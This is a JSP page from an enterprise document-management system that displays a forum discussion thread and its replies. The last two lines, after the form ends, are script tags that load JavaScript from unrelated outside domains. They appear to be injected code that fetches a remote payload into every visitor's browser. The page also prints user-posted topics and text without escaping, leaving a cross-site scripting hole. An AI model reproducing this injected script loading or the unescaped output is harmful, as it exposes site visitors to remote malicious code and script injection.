<%
/*
 * @(#)ViewForumGroupDetail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewForumGroupDetail.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    15/10/2003
    @version          $Revision: 1.24.2.12 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.dao.*"%>
<%@ page import="com.dcivision.forum.web.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsForumForm" scope="request" class="com.dcivision.forum.web.MaintForumGroupDetailForm"/>

<html:form action="dms/MaintDmsForum" styleClass="form-style-2">
<html:javascript formName="maintDmsForumForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
    String opMode = (String) ((MaintForumGroupDetailForm)maintDmsForumForm).getOpMode();

    String objectID  = maintDmsForumForm.getObjectID()==null? request.getParameter("objectID")==null? "" : (String) request.getParameter("objectID"):(String)maintDmsForumForm.getObjectID();
    String objectType = maintDmsForumForm.getObjectType()==null? request.getParameter("objectType")==null? "" : (String) request.getParameter("objectType"):(String)maintDmsForumForm.getObjectType();

    //Parameters used for DMS
    String rootID  = maintDmsForumForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)maintDmsForumForm.getRootID();
    String docParentID = maintDmsForumForm.getDocParentID()==null? request.getParameter("docParentID")==null? "" : (String) request.getParameter("docParentID"):(String)maintDmsForumForm.getDocParentID();
    String curFunctionCode = maintDmsForumForm.getCurFunctionCode()==null? request.getParameter("curFunctionCode")==null? "" : (String) request.getParameter("curFunctionCode"):(String)maintDmsForumForm.getCurFunctionCode();
    String permission = request.getParameter("permission")==null? "" : (String) request.getParameter("permission");

    String dummy_display_objectID="";
    String dummy_display_objectName="";
    DmsDocument document = new DmsDocument();
    DmsDocument documentRoot = new DmsDocument();

    dummy_display_objectID=request.getParameter("dummy_display_objectID");
    if (!("".equals(objectID)) && !("".equals(objectType))){
      //get the name for object id
      if (GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)) {
        DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
        document = docRetrievalManager.getDocument(new Integer(objectID));
        dummy_display_objectName=document.getDocumentName();

        if (Utility.isEmpty(permission)){
          documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(document.getRootID());
          PermissionManager permissionManager = sessionContainer.getPermissionManager();
          permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, document.getID());
        }
      }
    }

  /****************************************************************************
   * View Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='forumGroupID'/>
<html:hidden property='parentID'/>
<html:hidden property='objectID'/>
<html:hidden property='objectType'/>
<html:hidden property='reads'/>
<html:hidden property='rootID'/>
<html:hidden property='docParentID'/>
<html:hidden property='curFunctionCode'/>
<html:hidden property='topic'/>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    	<layout:returnButton className="btn-standard" returnURL='<%="ListDmsForum.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN + "&objectID=" + objectID + "&objectType=" + objectType%>'/>
    </div>
</div>
<%

  ForumManager forumManager = new ForumManager(sessionContainer, conn);

  Integer replyTotal = new Integer(0);
  Integer id = null;
  String discussTopic = "";
  Integer discussReads = new Integer(0);
  String creatorName ="";
  String createDate ="";
  String detail = "";
  Integer userID = new Integer(0);
  Integer parentID = TextUtility.parseIntegerObj(((MaintForumGroupDetailForm) maintDmsForumForm ).getParentID());

  LogFactory.getLog(this.getClass()).debug("Parent Disucssion IS = " + parentID);
  if (parentID.intValue()==0) {

    id = TextUtility.parseIntegerObj(((MaintForumGroupDetailForm) maintDmsForumForm).getID());
    discussTopic = ((MaintForumGroupDetailForm) maintDmsForumForm).getTopic();
    discussReads = TextUtility.parseIntegerObj(((MaintForumGroupDetailForm) maintDmsForumForm).getReads());

    ForumGroupDetail forumGroupDetail = (ForumGroupDetail) forumManager.getForumGroupDetail(id);
    if (forumGroupDetail!=null) {
      creatorName = forumGroupDetail.getCreatorName();
      createDate = TextUtility.formatTimestamp(forumGroupDetail.getCreateDate());
      detail = ((ForumGroupDetail) forumGroupDetail).getDetail();
      detail = TextUtility.replaceString(detail, "\n", "<br>&nbsp;");
      replyTotal = (Integer) forumManager.getReplyTotal(id);
      userID = forumGroupDetail.getCreatorID();
    } else {
      creatorName = UserInfoFactory.getUserFullName(sessionContainer.getUserRecordID());
      userID = sessionContainer.getUserRecordID();
    }
  } else {
    ForumGroupDetail forumGroupDetail = (ForumGroupDetail) forumManager.getForumGroupDetail(parentID);
    replyTotal = (Integer) forumManager.getReplyTotal(forumGroupDetail.getID());
    id = forumGroupDetail.getID();
    discussTopic = forumGroupDetail.getTopic();
    discussReads = (Integer) forumGroupDetail.getReads();
    creatorName = forumGroupDetail.getCreatorName();
    userID = forumGroupDetail.getCreatorID();
    createDate = TextUtility.formatTimestamp(forumGroupDetail.getCreateDate());
    detail = forumGroupDetail.getDetail();
    detail = TextUtility.replaceString(detail, "\n", "<br>&nbsp;");
  }
%>
<div class="generalContainer">
	<div class="wrapperContainer-clearfix">
	<table width="100%">
		<layout:sectionHeader name="forum.columnheader.discussion_topic_title" arg0="<%=discussTopic%>"/>
	</table>
	<%if (!Utility.isEmpty(objectID) && !Utility.isEmpty(objectType)) {%>
	<div class="clearfix">
	<div class="div-2-a">
		<table>
			<tr>
				<td class="formLabelSmall"><bean:message key="forum.columnheader.document_discussion_reference_name"/></td>
				<td class="formFieldSmall">
				<%if (!Utility.isEmpty(objectID)) {%>
				<dms:documentInfo docObject='<%=(DmsDocument)document%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'/>
				<%}%>
				</td>
			</tr>
			<%if (!Utility.isEmpty(objectID) && GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)) {%>
			<tr>
				<td class="formLabelSmall"><bean:message key="dms.label.location"/></td>
				<td class="formFieldSmall">
					<dms:locationPath parentID="<%=document.getParentID()%>" rootID="<%=document.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>'  indexFlag='showIndexFlag'/>
				</td>
			</tr>
			<%}%>
		</table>
	</div>
	<div class="div-2-b"><html:checkbox name="maintDmsForumForm" property="alwaysOnTop" value="Y"/>  <bean:message key="forum.label.discussion_always_on_top"/></div>
	</div>
	<%}%>


  <!--Document Discussion section -->
<table width="100%" bgcolor="#ffffff" cellpadding="2" cellspacing="1" border="0">
  <tr>
    <td colspan="2" id="topicListHeader">
    	<bean:message key='forum.lable.has_replies_and_reads' arg0="<%=replyTotal.toString()%>" arg1="<%=discussReads.toString()%>"/>
    </td>
  </tr>
  <tr id="topicMainContent">
    <td class="formLabelSmall">
    	<html:img src='IconUser.gif' />&nbsp;<%=creatorName%>
    </td>
    <td>
    	<table cellpadding="2" cellspacing="0" border="0" width="100%">
    		<tr>
    		<td class="topicContentTitle"><%=discussTopic%></td>
    		<td>
    		<div class="div-1-b">
    			<div class="div-1-a">
    			<bean:message key="forum.columnheader.discussion_postdate"/>:
    			<%=createDate%>
                </div>
                <%
                	if (userID.intValue()==sessionContainer.getUserRecordID().intValue()) {
                %>
                <html:standardButton label="common.label.edit" link='<%="MaintDmsForum.do?navMode=E&rootID=" + rootID + "&parentID=" + parentID + "&ID=" + id + "&objectType=" + objectType + "&objectID=" + objectID%>'/>
                <%
                	} else {
                %>
                <html:standardButton label="common.label.edit" disable="true"/>
                <%
                	}
                %>
                <html:standardButton label="common.label.reply" link='<%="MaintDmsForum.do?opMode=" + ForumOperationConstant.FOURM_REPLY + "&rootID=" + rootID + "&parentID=" + parentID + "&ID=" + id + "&objectType=" + objectType + "&objectID=" + objectID%>'/>
            </div>
    		</td>
    		</tr>
    		<tr>
    		<td colspan="2"><%=detail%></td>
    		</tr>
    	</table>
    </td>
  </tr>
  <logic:iterate id='forumDetail' name='discussionReplyList' scope='request'>
  <tr id="topicReplyContent">
    <td class="formLabelSmall">
    	<html:img src='IconActionTaker.gif' />&nbsp;<%=((ForumGroupDetail) forumDetail).getCreatorName()%>
    </td>
    <td>
    	<table cellpadding="2" cellspacing="0" border="0" width="100%">
    		<tr>
    		<td class="topicContentTitle"><%=((ForumGroupDetail) forumDetail).getTopic()%></td>
    		<td>
    		<div class="div-1-b">
    			<div class="div-1-a">
    			<bean:message key="forum.columnheader.discussion_postdate"/>:
                <%=TextUtility.formatTimestamp(((ForumGroupDetail) forumDetail).getCreateDate())%>
                </div>
                <%
                	if (((ForumGroupDetail) forumDetail).getCreatorID().intValue() == sessionContainer.getUserRecordID().intValue()) {
                %>
                <html:standardButton label="common.label.edit" link='<%="MaintDmsForum.do?navMode=E&rootID=" + rootID + "&parentID=" + parentID + "&ID=" + (((ForumGroupDetail) forumDetail).getID()) + "&objectType=" + (((ForumGroupDetail) forumDetail).getObjectType()) + "&objectID=" + (((ForumGroupDetail) forumDetail).getObjectID())%>'/>
                <%
                	} else {
                %>
                <html:standardButton label="common.label.edit" disable="true"/>
                <%
                	}
                %>
                <html:standardButton label="common.label.reply" link='<%="MaintDmsForum.do?opMode=" + ForumOperationConstant.FOURM_REPLY + "&rootID=" + rootID + "&parentID=" + parentID + "&ID=" + (((ForumGroupDetail) forumDetail).getID()) + "&objectType=" + (((ForumGroupDetail) forumDetail).getObjectType()) + "&objectID=" + (((ForumGroupDetail) forumDetail).getObjectID()) + "&replyTotal=" + replyTotal%>'/>
            </div>
    		</td>
    		</tr>
    		<%
    		detail = ((ForumGroupDetail) forumDetail).getDetail();
            detail = TextUtility.replaceString(detail, "\n", "<br>&nbsp;");
            %>
    		<tr>
    		<td colspan="2"><%=detail%></td>
    		</tr>
    	</table>
    </td>
  </tr>
  </logic:iterate>
</table>
</div>
</div>
<!--joan.xiong add code for bug EIP-1458 by 2007/01/22-->
<script>
  function clipbordInvite(docID){
    try{
        var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
        var ni = document.createElement("iFrame");
        ni.setAttribute("src",url);
        ni.setAttribute("scrolling","yes");
        ni.setAttribute("frameborder","no");
        ni.setAttribute("width","100%");
        ni.setAttribute("height","100%");
        ni.setAttribute("id","ifram1");
        document.getElementById("NewDocumentInvitation").appendChild(ni);
        document.getElementById("NewDocumentInvitation").style["display"]="";

        var loadFrame = document.getElementById("NewDocumentInvitation");

        loadFrame.style.width="780";
        loadFrame.style.height = "600";
        loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
        loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
        DimBackgroud(null,false);
    }catch(e){}

  }
</script>
<!--joan.xiong add code end-->
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>